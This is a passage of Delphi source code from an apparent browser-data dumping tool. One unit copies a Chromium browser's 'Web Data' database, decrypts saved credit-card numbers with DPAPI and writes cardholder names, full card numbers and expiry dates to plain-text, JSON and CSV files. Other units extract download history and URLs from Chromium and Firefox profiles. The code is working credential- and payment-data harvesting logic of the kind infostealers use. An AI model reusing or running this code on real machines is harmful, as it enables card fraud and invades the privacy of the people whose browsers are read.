FileName, FilePath: string; 139 | begin 140 | EnsureResultsDirectory; 141 | FileName := Format('%s_%s_creditcards.txt', 142 | [GetBrowserPrefix, GetProfileName]); 143 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 144 | AssignFile(OutputFile, FilePath); 145 | try 146 | Rewrite(OutputFile); 147 | for var Card in CreditCards do 148 | begin 149 | WriteLn(OutputFile); 150 | WriteLn(OutputFile, 'GUID: ', Card.GUID); 151 | WriteLn(OutputFile, 'Name: ', Card.Name); 152 | WriteLn(OutputFile, 'Card Number: ', Card.CardNumber); 153 | WriteLn(OutputFile, 'Expiration: ', Card.ExpirationMonth, '/', 154 | Card.ExpirationYear); 155 | WriteLn(OutputFile, 'Nickname: ', Card.NickName); 156 | WriteLn(OutputFile, 'Billing Address ID: ', Card.Address); 157 | WriteLn(OutputFile, '----------------------------------------'); 158 | end; 159 | WriteLn(Format('[%s] Credit cards saved to: %s', [GetBrowserPrefix.ToUpper, 160 | FilePath])); 161 | finally 162 | CloseFile(OutputFile); 163 | end; 164 | end; 165 | 166 | procedure TChromiumCreditCardHelper.OutputJSON(const CreditCards 167 | : TCreditCardDataArray); 168 | var 169 | JSONArray: TJSONArray; 170 | JSONObject: TJSONObject; 171 | FileName, FilePath, JSONString: string; 172 | begin 173 | EnsureResultsDirectory; 174 | JSONArray := TJSONArray.Create; 175 | try 176 | for var Card in CreditCards do 177 | begin 178 | JSONObject := TJSONObject.Create; 179 | JSONObject.AddPair('guid', TJSONString.Create(Card.GUID)); 180 | JSONObject.AddPair('name', TJSONString.Create(Card.Name)); 181 | JSONObject.AddPair('cardNumber', TJSONString.Create(Card.CardNumber)); 182 | JSONObject.AddPair('expirationMonth', 183 | TJSONString.Create(Card.ExpirationMonth)); 184 | JSONObject.AddPair('expirationYear', 185 | TJSONString.Create(Card.ExpirationYear)); 186 | JSONObject.AddPair('nickname', TJSONString.Create(Card.NickName)); 187 | JSONObject.AddPair('billingAddressId', TJSONString.Create(Card.Address)); 188 | JSONArray.AddElement(JSONObject); 189 | end; 190 | 191 | FileName := Format('%s_%s_creditcards.json', 192 | [GetBrowserPrefix, GetProfileName]); 193 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 194 | FileName); 195 | 196 | // Convert JSON to string 197 | JSONString := JSONArray.Format(2); 198 | 199 | // Replace escaped forward slashes \/ with / 200 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 201 | 202 | // Save the modified JSON string 203 | TFile.WriteAllText(FilePath, JSONString); 204 | 205 | WriteLn(Format('[%s] Credit cards saved to: %s', [GetBrowserPrefix.ToUpper, 206 | FilePath])); 207 | finally 208 | JSONArray.Free; 209 | end; 210 | end; 211 | 212 | procedure TChromiumCreditCardHelper.OutputCSV(const CreditCards 213 | : TCreditCardDataArray); 214 | var 215 | OutputFile: TextFile; 216 | FileName, FilePath: string; 217 | begin 218 | EnsureResultsDirectory; 219 | FileName := Format('%s_%s_creditcards.csv', 220 | [GetBrowserPrefix, GetProfileName]); 221 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 222 | AssignFile(OutputFile, FilePath); 223 | try 224 | Rewrite(OutputFile); 225 | WriteLn(OutputFile, 226 | 'GUID,Name,CardNumber,ExpirationMonth,ExpirationYear,Nickname,BillingAddressId'); 227 | 228 | for var Card in CreditCards do 229 | begin 230 | WriteLn(OutputFile, Format('"%s","%s","%s","%s","%s","%s","%s"', 231 | [StringReplace(Card.GUID, '"', '""', [rfReplaceAll]), 232 | StringReplace(Card.Name, '"', '""', [rfReplaceAll]), 233 | StringReplace(Card.CardNumber, '"', '""', [rfReplaceAll]), 234 | StringReplace(Card.ExpirationMonth, '"', '""', [rfReplaceAll]), 235 | StringReplace(Card.ExpirationYear, '"', '""', [rfReplaceAll]), 236 | StringReplace(Card.NickName, '"', '""', [rfReplaceAll]), 237 | StringReplace(Card.Address, '"', '""', [rfReplaceAll])])); 238 | end; 239 | 240 | WriteLn(Format('[%s] Credit cards saved to: %s', [GetBrowserPrefix.ToUpper, 241 | FilePath])); 242 | finally 243 | CloseFile(OutputFile); 244 | end; 245 | end; 246 | 247 | procedure TChromiumCreditCardHelper.OutputCreditCards(const CreditCards 248 | : TCreditCardDataArray); 249 | begin 250 | case FOutputFormat of 251 | ofHuman: 252 | OutputHuman(CreditCards); 253 | ofJSON: 254 | OutputJSON(CreditCards); 255 | ofCSV: 256 | OutputCSV(CreditCards); 257 | end; 258 | end; 259 | 260 | constructor TChromiumCreditCardHelper.Create(const AProfilePath: string; 261 | ABrowserKind: TBrowserKind = bkChrome); 262 | begin 263 | inherited Create; 264 | FProfilePath := AProfilePath; 265 | FBrowserKind := ABrowserKind; 266 | FOutputFormat := ofCSV; 267 | FSQLiteConnection := TUniConnection.Create(nil); 268 | FSQLiteConnection.ProviderName := 'SQLite'; 269 | FSQLiteConnection.LoginPrompt := False; 270 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 271 | end; 272 | 273 | destructor TChromiumCreditCardHelper.Destroy; 274 | begin 275 | if Assigned(FSQLiteConnection) then 276 | begin 277 | if FSQLiteConnection.Connected then 278 | FSQLiteConnection.Disconnect; 279 | FSQLiteConnection.Free; 280 | end; 281 | inherited; 282 | end; 283 | 284 | function TChromiumCreditCardHelper.GetCreditCards: TCreditCardDataArray; 285 | var 286 | Query: TUniQuery; 287 | CreditCardDb, TempDb: string; 288 | begin 289 | SetLength(Result, 0); 290 | CreditCardDb := TPath.Combine(FProfilePath, 'Web Data'); 291 | 292 | if not FileExists(CreditCardDb) then 293 | Exit; 294 | 295 | // Create temp copy of database 296 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webdata_%s.db', 297 | [TGUID.NewGuid.ToString])); 298 | try 299 | TFile.Copy(CreditCardDb, TempDb); 300 | FSQLiteConnection.Database := TempDb; 301 | FSQLiteConnection.Connect; 302 | Query := TUniQuery.Create(nil); 303 | try 304 | Query.Connection := FSQLiteConnection; 305 | Query.SQL.Text := QUERY_Chromium_CREDITCARD; 306 | Query.Open; 307 | 308 | while not Query.Eof do 309 | begin 310 | SetLength(Result, Length(Result) + 1); 311 | with Result[High(Result)] do 312 | begin 313 | GUID := Query.FieldByName('guid').AsString; 314 | Name := Query.FieldByName('name_on_card').AsString; 315 | ExpirationMonth := Query.FieldByName('expiration_month').AsString; 316 | ExpirationYear := Query.FieldByName('expiration_year').AsString; 317 | Address := Query.FieldByName('billing_address_id').AsString; 318 | NickName := Query.FieldByName('nickname').AsString; 319 | 320 | var 321 | EncryptedCard := Query.FieldByName('card_number_encrypted').AsBytes; 322 | if Length(EncryptedCard) > 0 then 323 | CardNumber := DecryptWithDPAPI(EncryptedCard); 324 | end; 325 | Query.Next; 326 | end; 327 | 328 | if Length(Result) > 0 then 329 | OutputCreditCards(Result); 330 | 331 | finally 332 | Query.Free; 333 | FSQLiteConnection.Disconnect; 334 | end; 335 | 336 | finally 337 | if FileExists(TempDb) then 338 | TFile.Delete(TempDb); 339 | end; 340 | end; 341 | 342 | function TChromiumCreditCardHelper.GetCreditCardCount: Integer; 343 | var 344 | Query: TUniQuery; 345 | CreditCardDb, TempDb: string; 346 | begin 347 | Result := 0; 348 | CreditCardDb := TPath.Combine(FProfilePath, 'Web Data'); 349 | 350 | if not FileExists(CreditCardDb) then 351 | Exit; 352 | 353 | TempDb := TPath.Combine(TPath.GetTempPath, Format('webdata_%s.db', 354 | [TGUID.NewGuid.ToString])); 355 | try 356 | TFile.Copy(CreditCardDb, TempDb); 357 | FSQLiteConnection.Database := TempDb; 358 | 359 | try 360 | FSQLiteConnection.Connect; 361 | Query := TUniQuery.Create(nil); 362 | try 363 | Query.Connection := FSQLiteConnection; 364 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM credit_cards'; 365 | Query.Open; 366 | Result := Query.FieldByName('count').AsInteger; 367 | finally 368 | Query.Free; 369 | end; 370 | finally 371 | FSQLiteConnection.Disconnect; 372 | end; 373 | finally 374 | if FileExists(TempDb) then 375 | TFile.Delete(TempDb); 376 | end; 377 | end; 378 | 379 | end. 380 | -------------------------------------------------------------------------------- /src/browserdata/download/ChromiumDownload.pas: -------------------------------------------------------------------------------- 1 | unit ChromiumDownload; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, 7 | System.Classes, 8 | System.IOUtils, 9 | System.Generics.Collections, 10 | System.Generics.Defaults, 11 | System.DateUtils, 12 | System.JSON, 13 | System.StrUtils, 14 | Uni, 15 | SQLiteUniProvider; 16 | 17 | type 18 | TBrowserKind = (bkChrome, bkBrave, bkEdge); 19 | 20 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 21 | 22 | TDownloadItem = record 23 | TargetPath: string; 24 | URL: string; 25 | TotalBytes: Int64; 26 | StartTime: TDateTime; 27 | EndTime: TDateTime; 28 | MimeType: string; 29 | end; 30 | 31 | TDownloadItems = TArray; 32 | 33 | TChromiumDownloadHelper = class 34 | private 35 | FProfilePath: string; 36 | FOutputFormat: TOutputFormat; 37 | FBrowserKind: TBrowserKind; 38 | FSQLiteConnection: TUniConnection; 39 | 40 | const 41 | QUERY_Chromium_DOWNLOAD = 'SELECT target_path, tab_url, total_bytes, ' + 42 | 'strftime(''%Y-%m-%d %H:%M:%S'', start_time/1000000 - 11644473600, ''unixepoch'', ''localtime'') as formatted_start_time, ' 43 | + 'strftime(''%Y-%m-%d %H:%M:%S'', end_time/1000000 - 11644473600, ''unixepoch'', ''localtime'') as formatted_end_time, ' 44 | + 'mime_type FROM downloads'; 45 | 46 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 47 | 48 | function GetProfileName: string; 49 | function GetBrowserPrefix: string; 50 | procedure EnsureResultsDirectory; 51 | procedure OutputHuman(const Downloads: TDownloadItems); 52 | procedure OutputJSON(const Downloads: TDownloadItems); 53 | procedure OutputCSV(const Downloads: TDownloadItems); 54 | procedure OutputDownloads(const Downloads: TDownloadItems); 55 | function ChromiumTimeToDateTime(TimeStamp: Int64): TDateTime; 56 | 57 | public 58 | constructor Create(const AProfilePath: string; 59 | ABrowserKind: TBrowserKind = bkChrome); 60 | destructor Destroy; override; 61 | function GetDownloads: TDownloadItems; 62 | procedure SortDownloadsBySize(var Downloads: TDownloadItems); 63 | function GetDownloadCount: Integer; 64 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 65 | end; 66 | 67 | implementation 68 | 69 | function TChromiumDownloadHelper.GetProfileName: string; 70 | var 71 | ProfileFolder: string; 72 | begin 73 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 74 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]); 75 | end; 76 | 77 | function TChromiumDownloadHelper.GetBrowserPrefix: string; 78 | begin 79 | case FBrowserKind of 80 | bkChrome: 81 | Result := 'chrome'; 82 | bkBrave: 83 | Result := 'brave'; 84 | bkEdge: 85 | Result := 'edge'; 86 | end; 87 | end; 88 | 89 | function TChromiumDownloadHelper.ChromiumTimeToDateTime(TimeStamp: Int64) 90 | : TDateTime; 91 | const 92 | ChromiumTimeStart = 11644473600; // Seconds between 1601-01-01 and 1970-01-01 93 | begin 94 | Result := UnixToDateTime((TimeStamp div 1000000) - ChromiumTimeStart); 95 | end; 96 | 97 | procedure TChromiumDownloadHelper.EnsureResultsDirectory; 98 | var 99 | ResultsDir: string; 100 | begin 101 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 102 | if not TDirectory.Exists(ResultsDir) then 103 | TDirectory.CreateDirectory(ResultsDir); 104 | end; 105 | 106 | procedure TChromiumDownloadHelper.OutputHuman(const Downloads: TDownloadItems); 107 | var 108 | OutputFile: TextFile; 109 | FileName, FilePath: string; 110 | begin 111 | EnsureResultsDirectory; 112 | FileName := Format('%s_%s_downloads.txt', [GetBrowserPrefix, GetProfileName]); 113 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 114 | AssignFile(OutputFile, FilePath); 115 | try 116 | Rewrite(OutputFile); 117 | for var Item in Downloads do 118 | begin 119 | WriteLn(OutputFile); 120 | WriteLn(OutputFile, 'Target Path: ', Item.TargetPath); 121 | WriteLn(OutputFile, 'URL: ', Item.URL); 122 | WriteLn(OutputFile, 'Size: ', Item.TotalBytes); 123 | WriteLn(OutputFile, 'Start Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 124 | Item.StartTime)); 125 | WriteLn(OutputFile, 'End Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', 126 | Item.EndTime)); 127 | WriteLn(OutputFile, 'MIME Type: ', Item.MimeType); 128 | WriteLn(OutputFile, '----------------------------------------'); 129 | end; 130 | WriteLn(Format('[%s] Downloads saved to: %s', [GetBrowserPrefix.ToUpper, 131 | FilePath])); 132 | finally 133 | CloseFile(OutputFile); 134 | end; 135 | end; 136 | 137 | procedure TChromiumDownloadHelper.OutputJSON(const Downloads: TDownloadItems); 138 | var 139 | JSONArray: TJSONArray; 140 | JSONObject: TJSONObject; 141 | FileName, FilePath, JSONString: string; 142 | begin 143 | EnsureResultsDirectory; 144 | JSONArray := TJSONArray.Create; 145 | try 146 | for var Item in Downloads do 147 | begin 148 | JSONObject := TJSONObject.Create; 149 | JSONObject.AddPair('targetPath', TJSONString.Create(Item.TargetPath)); 150 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 151 | JSONObject.AddPair('totalBytes', TJSONNumber.Create(Item.TotalBytes)); 152 | JSONObject.AddPair('startTime', FormatDateTime('yyyy-mm-dd hh:nn:ss', 153 | Item.StartTime)); 154 | JSONObject.AddPair('endTime', FormatDateTime('yyyy-mm-dd hh:nn:ss', 155 | Item.EndTime)); 156 | if Item.MimeType <> '' then 157 | JSONObject.AddPair('mimeType', TJSONString.Create(Item.MimeType)); 158 | JSONArray.AddElement(JSONObject); 159 | end; 160 | 161 | FileName := Format('%s_%s_downloads.json', 162 | [GetBrowserPrefix, GetProfileName]); 163 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), 164 | FileName); 165 | 166 | // Convert JSON to string 167 | JSONString := JSONArray.Format(2); 168 | 169 | // Replace escaped forward slashes \/ with / 170 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 171 | 172 | // Save the modified JSON string 173 | TFile.WriteAllText(FilePath, JSONString); 174 | 175 | WriteLn(Format('[%s] Downloads saved to: %s', [GetBrowserPrefix.ToUpper, 176 | FilePath])); 177 | finally 178 | JSONArray.Free; 179 | end; 180 | end; 181 | 182 | procedure TChromiumDownloadHelper.OutputCSV(const Downloads: TDownloadItems); 183 | var 184 | OutputFile: TextFile; 185 | FileName, FilePath: string; 186 | begin 187 | EnsureResultsDirectory; 188 | FileName := Format('%s_%s_downloads.csv', [GetBrowserPrefix, GetProfileName]); 189 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 190 | AssignFile(OutputFile, FilePath); 191 | try 192 | Rewrite(OutputFile); 193 | WriteLn(OutputFile, 'TargetPath,URL,TotalBytes,StartTime,EndTime,MimeType'); 194 | 195 | for var Item in Downloads do 196 | begin 197 | WriteLn(OutputFile, Format('"%s","%s","%d","%s","%s","%s"', 198 | [StringReplace(Item.TargetPath, '"', '""', [rfReplaceAll]), 199 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), Item.TotalBytes, 200 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime), 201 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime), 202 | StringReplace(Item.MimeType, '"', '""', [rfReplaceAll])])); 203 | end; 204 | 205 | WriteLn(Format('[%s] Downloads saved to: %s', [GetBrowserPrefix.ToUpper, 206 | FilePath])); 207 | finally 208 | CloseFile(OutputFile); 209 | end; 210 | end; 211 | 212 | procedure TChromiumDownloadHelper.OutputDownloads(const Downloads 213 | : TDownloadItems); 214 | begin 215 | case FOutputFormat of 216 | ofHuman: 217 | OutputHuman(Downloads); 218 | ofJSON: 219 | OutputJSON(Downloads); 220 | ofCSV: 221 | OutputCSV(Downloads); 222 | end; 223 | end; 224 | 225 | constructor TChromiumDownloadHelper.Create(const AProfilePath: string; 226 | ABrowserKind: TBrowserKind = bkChrome); 227 | begin 228 | inherited Create; 229 | FProfilePath := AProfilePath; 230 | FBrowserKind := ABrowserKind; 231 | FOutputFormat := ofCSV; 232 | FSQLiteConnection := TUniConnection.Create(nil); 233 | FSQLiteConnection.ProviderName := 'SQLite'; 234 | FSQLiteConnection.LoginPrompt := False; 235 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 236 | end; 237 | 238 | destructor TChromiumDownloadHelper.Destroy; 239 | begin 240 | if Assigned(FSQLiteConnection) then 241 | begin 242 | if FSQLiteConnection.Connected then 243 | FSQLiteConnection.Disconnect; 244 | FSQLiteConnection.Free; 245 | end; 246 | inherited; 247 | end; 248 | 249 | function TChromiumDownloadHelper.GetDownloads: TDownloadItems; 250 | var 251 | Query: TUniQuery; 252 | DownloadDb, TempDb: string; 253 | begin 254 | SetLength(Result, 0); 255 | DownloadDb := TPath.Combine(FProfilePath, 'History'); 256 | // Downloads are in History DB 257 | 258 | if not FileExists(DownloadDb) then 259 | Exit; 260 | 261 | // Create temp copy of database 262 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite', 263 | [TGUID.NewGuid.ToString])); 264 | try 265 | TFile.Copy(DownloadDb, TempDb); 266 | FSQLiteConnection.Database := TempDb; 267 | FSQLiteConnection.Connect; 268 | Query := TUniQuery.Create(nil); 269 | try 270 | Query.Connection := FSQLiteConnection; 271 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 272 | Query.ExecSQL; 273 | Query.SQL.Text := QUERY_Chromium_DOWNLOAD; 274 | Query.Open; 275 | 276 | while not Query.Eof do 277 | begin 278 | SetLength(Result, Length(Result) + 1); 279 | with Result[High(Result)] do 280 | begin 281 | TargetPath := Query.FieldByName('target_path').AsString; 282 | URL := Query.FieldByName('tab_url').AsString; 283 | TotalBytes := Query.FieldByName('total_bytes').AsLargeInt; 284 | 285 | var 286 | FS := TFormatSettings.Create; 287 | FS.DateSeparator := '-'; 288 | FS.TimeSeparator := ':'; 289 | FS.ShortDateFormat := 'yyyy-mm-dd'; 290 | FS.LongTimeFormat := 'hh:nn:ss'; 291 | 292 | var 293 | StartTimeStr := Query.FieldByName('formatted_start_time').AsString; 294 | try 295 | StartTime := StrToDateTime(StartTimeStr, FS); 296 | except 297 | on E: Exception do 298 | begin 299 | WriteLn('Error parsing start time: ' + StartTimeStr + ' - ' + 300 | E.Message); 301 | StartTime := 0; 302 | end; 303 | end; 304 | 305 | var 306 | EndTimeStr := Query.FieldByName('formatted_end_time').AsString; 307 | try 308 | EndTime := StrToDateTime(EndTimeStr, FS); 309 | except 310 | on E: Exception do 311 | begin 312 | WriteLn('Error parsing end time: ' + EndTimeStr + ' - ' + 313 | E.Message); 314 | EndTime := 0; 315 | end; 316 | end; 317 | 318 | MimeType := Query.FieldByName('mime_type').AsString; 319 | end; 320 | Query.Next; 321 | end; 322 | 323 | if Length(Result) > 0 then 324 | begin 325 | SortDownloadsBySize(Result); 326 | OutputDownloads(Result); 327 | end; 328 | 329 | finally 330 | Query.Free; 331 | FSQLiteConnection.Disconnect; 332 | end; 333 | 334 | finally 335 | if FileExists(TempDb) then 336 | TFile.Delete(TempDb); 337 | end; 338 | end; 339 | 340 | procedure TChromiumDownloadHelper.SortDownloadsBySize(var Downloads 341 | : TDownloadItems); 342 | var 343 | i, j: Integer; 344 | temp: TDownloadItem; 345 | begin 346 | for i := Low(Downloads) to High(Downloads) - 1 do 347 | for j := i + 1 to High(Downloads) do 348 | if Downloads[i].TotalBytes < Downloads[j].TotalBytes then 349 | begin 350 | temp := Downloads[i]; 351 | Downloads[i] := Downloads[j]; 352 | Downloads[j] := temp; 353 | end; 354 | end; 355 | 356 | function TChromiumDownloadHelper.GetDownloadCount: Integer; 357 | var 358 | Query: TUniQuery; 359 | DownloadDb, TempDb: string; 360 | begin 361 | Result := 0; 362 | DownloadDb := TPath.Combine(FProfilePath, 'History'); 363 | // Downloads are in History DB 364 | 365 | if not FileExists(DownloadDb) then 366 | Exit; 367 | 368 | // Create temp copy of database 369 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite', 370 | [TGUID.NewGuid.ToString])); 371 | try 372 | TFile.Copy(DownloadDb, TempDb); 373 | FSQLiteConnection.Database := TempDb; 374 | FSQLiteConnection.Connect; 375 | Query := TUniQuery.Create(nil); 376 | try 377 | Query.Connection := FSQLiteConnection; 378 | Query.SQL.Text := CLOSE_JOURNAL_MODE; 379 | Query.ExecSQL; 380 | Query.SQL.Text := 'SELECT COUNT(*) as count FROM downloads'; 381 | Query.Open; 382 | Result := Query.FieldByName('count').AsInteger; 383 | finally 384 | Query.Free; 385 | FSQLiteConnection.Disconnect; 386 | end; 387 | 388 | finally 389 | if FileExists(TempDb) then 390 | TFile.Delete(TempDb); 391 | end; 392 | end; 393 | 394 | end. 395 | -------------------------------------------------------------------------------- /src/browserdata/download/FirefoxDownload.pas: -------------------------------------------------------------------------------- 1 | unit FirefoxDownload; 2 | 3 | interface 4 | 5 | uses 6 | System.SysUtils, System.Classes, System.IOUtils, System.Generics.Collections, 7 | System.Generics.Defaults, System.DateUtils, System.JSON, System.StrUtils, 8 | Uni, SQLiteUniProvider; 9 | 10 | type 11 | TOutputFormat = (ofHuman, ofJSON, ofCSV); 12 | 13 | TDownloadItem = record 14 | TargetPath: string; 15 | URL: string; 16 | TotalBytes: Int64; 17 | StartTime: TDateTime; 18 | EndTime: TDateTime; 19 | MimeType: string; 20 | end; 21 | 22 | TDownloadItems = TArray; 23 | 24 | TFirefoxDownloadHelper = class 25 | private 26 | FProfilePath: string; 27 | FOutputFormat: TOutputFormat; 28 | FSQLiteConnection: TUniConnection; 29 | const 30 | QUERY_FIREFOX_DOWNLOAD = 31 | 'SELECT place_id, GROUP_CONCAT(content) as content, url, ' + 32 | 'strftime(''%Y-%m-%d %H:%M:%S'', dateAdded/1000000, ''unixepoch'', ''localtime'') as formatted_start_date, ' + 33 | 'dateAdded ' + 34 | 'FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON ' + 35 | 'moz_annos.place_id=moz_places.id) t GROUP BY place_id'; 36 | 37 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off'; 38 | 39 | function GetProfileName: string; 40 | procedure EnsureResultsDirectory; 41 | procedure OutputHuman(const Downloads: TDownloadItems); 42 | procedure OutputJSON(const Downloads: TDownloadItems); 43 | procedure OutputCSV(const Downloads: TDownloadItems); 44 | procedure OutputDownloads(const Downloads: TDownloadItems); 45 | function ParseJSONContent(const Content: string): TJSONObject; 46 | public 47 | constructor Create(const AProfilePath: string); 48 | destructor Destroy; override; 49 | function GetDownloads: TDownloadItems; 50 | procedure SortDownloadsBySize(var Downloads: TDownloadItems); 51 | function GetDownloadCount: Integer; 52 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat; 53 | end; 54 | 55 | implementation 56 | 57 | function TFirefoxDownloadHelper.GetProfileName: string; 58 | var 59 | ProfileFolder: string; 60 | begin 61 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath)); 62 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]); 63 | end; 64 | 65 | function TFirefoxDownloadHelper.ParseJSONContent(const Content: string): TJSONObject; 66 | var 67 | ContentList: TArray; 68 | JsonStr: string; 69 | begin 70 | Result := nil; 71 | ContentList := Content.Split([',{']); 72 | if Length(ContentList) > 1 then 73 | begin 74 | JsonStr := '{' + ContentList[1]; 75 | try 76 | Result := TJSONObject(TJSONObject.ParseJSONValue(JsonStr)); 77 | except 78 | on E: Exception do 79 | WriteLn('Error parsing JSON: ', E.Message); 80 | end; 81 | end; 82 | end; 83 | 84 | procedure TFirefoxDownloadHelper.EnsureResultsDirectory; 85 | var 86 | ResultsDir: string; 87 | begin 88 | ResultsDir := TPath.Combine(GetCurrentDir, 'results'); 89 | if not TDirectory.Exists(ResultsDir) then 90 | TDirectory.CreateDirectory(ResultsDir); 91 | end; 92 | 93 | procedure TFirefoxDownloadHelper.OutputHuman(const Downloads: TDownloadItems); 94 | var 95 | OutputFile: TextFile; 96 | FileName, FilePath: string; 97 | begin 98 | EnsureResultsDirectory; 99 | FileName := Format('firefox_%s_downloads.txt', [GetProfileName]); 100 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 101 | AssignFile(OutputFile, FilePath); 102 | try 103 | Rewrite(OutputFile); 104 | for var Item in Downloads do 105 | begin 106 | WriteLn(OutputFile); 107 | WriteLn(OutputFile, 'Target Path: ', Item.TargetPath); 108 | WriteLn(OutputFile, 'URL: ', Item.URL); 109 | WriteLn(OutputFile, 'Total Bytes: ', Item.TotalBytes); 110 | WriteLn(OutputFile, 'Start Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime)); 111 | WriteLn(OutputFile, 'End Time: ', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime)); 112 | if Item.MimeType <> '' then 113 | WriteLn(OutputFile, 'MIME Type: ', Item.MimeType); 114 | WriteLn(OutputFile, '----------------------------------------'); 115 | end; 116 | WriteLn('[FIREFOX] Downloads saved to: ', FilePath); 117 | finally 118 | CloseFile(OutputFile); 119 | end; 120 | end; 121 | 122 | procedure TFirefoxDownloadHelper.OutputJSON(const Downloads: TDownloadItems); 123 | var 124 | JSONArray: TJSONArray; 125 | JSONObject: TJSONObject; 126 | FileName, FilePath, JSONString: string; 127 | begin 128 | EnsureResultsDirectory; 129 | JSONArray := TJSONArray.Create; 130 | try 131 | for var Item in Downloads do 132 | begin 133 | JSONObject := TJSONObject.Create; 134 | JSONObject.AddPair('targetPath', TJSONString.Create(Item.TargetPath)); 135 | JSONObject.AddPair('url', TJSONString.Create(Item.URL)); 136 | JSONObject.AddPair('totalBytes', TJSONNumber.Create(Item.TotalBytes)); 137 | JSONObject.AddPair('startTime', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime)); 138 | JSONObject.AddPair('endTime', FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime)); 139 | if Item.MimeType <> '' then 140 | JSONObject.AddPair('mimeType', TJSONString.Create(Item.MimeType)); 141 | JSONArray.AddElement(JSONObject); 142 | end; 143 | 144 | FileName := Format('firefox_%s_downloads.json', [GetProfileName]); 145 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 146 | 147 | // Convert JSON to string 148 | JSONString := JSONArray.Format(2); 149 | 150 | // Replace escaped forward slashes \/ with / 151 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]); 152 | 153 | // Save the modified JSON string 154 | TFile.WriteAllText(FilePath, JSONString); 155 | 156 | WriteLn('[FIREFOX] Downloads saved to: ', FilePath); 157 | finally 158 | JSONArray.Free; 159 | end; 160 | end; 161 | 162 | procedure TFirefoxDownloadHelper.OutputCSV(const Downloads: TDownloadItems); 163 | var 164 | OutputFile: TextFile; 165 | FileName, FilePath: string; 166 | begin 167 | EnsureResultsDirectory; 168 | FileName := Format('firefox_%s_downloads.csv', [GetProfileName]); 169 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName); 170 | AssignFile(OutputFile, FilePath); 171 | try 172 | Rewrite(OutputFile); 173 | WriteLn(OutputFile, 'TargetPath,URL,TotalBytes,StartTime,EndTime,MimeType'); 174 | 175 | for var Item in Downloads do 176 | begin 177 | WriteLn(OutputFile, Format('"%s","%s",%d,"%s","%s","%s"', 178 | [ 179 | StringReplace(Item.TargetPath, '"', '""', [rfReplaceAll]), 180 | StringReplace(Item.URL, '"', '""', [rfReplaceAll]), 181 | Item.TotalBytes, 182 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.StartTime), 183 | FormatDateTime('yyyy-mm-dd hh:nn:ss', Item.EndTime), 184 | StringReplace(Item.MimeType, '"', '""', [rfReplaceAll]) 185 | ])); 186 | end; 187 | 188 | WriteLn('[FIREFOX] Downloads saved to: ', FilePath); 189 | finally 190 | CloseFile(OutputFile); 191 | end; 192 | end; 193 | 194 | procedure TFirefoxDownloadHelper.OutputDownloads(const Downloads: TDownloadItems); 195 | begin 196 | case FOutputFormat of 197 | ofHuman: OutputHuman(Downloads); 198 | ofJSON: OutputJSON(Downloads); 199 | ofCSV: OutputCSV(Downloads); 200 | end; 201 | end; 202 | 203 | constructor TFirefoxDownloadHelper.Create(const AProfilePath: string); 204 | begin 205 | inherited Create; 206 | FProfilePath := AProfilePath; 207 | FOutputFormat := ofCSV; // Default to CSV 208 | FSQLiteConnection := TUniConnection.Create(nil); 209 | FSQLiteConnection.ProviderName := 'SQLite'; 210 | FSQLiteConnection.LoginPrompt := False; 211 | FSQLiteConnection.SpecificOptions.Values['Direct'] := 'True'; 212 | end; 213 | 214 | destructor TFirefoxDownloadHelper.Destroy; 215 | begin 216 | if Assigned(FSQLiteConnection) then 217 | begin 218 | if FSQLiteConnection.Connected then 219 | FSQLiteConnection.Disconnect; 220 | FSQLiteConnection.Free; 221 | end; 222 | inherited; 223 | end; 224 | 225 | function TFirefoxDownloadHelper.GetDownloads: TDownloadItems; 226 | var 227 | Query: TUniQuery; 228 | DownloadDb, TempDb: string; 229 | JSONObj: TJSONObject; 230 | FS: TFormatSettings; 231 | begin 232 | SetLength(Result, 0); 233 | DownloadDb := TPath.Combine(FProfilePath, 'places.sqlite'); 234 | 235 | if not FileExists(DownloadDb) then 236 | Exit; 237 | 238 | // Create temp copy of database 239 | TempDb := TPath.Combine(TPath.GetTempPath, 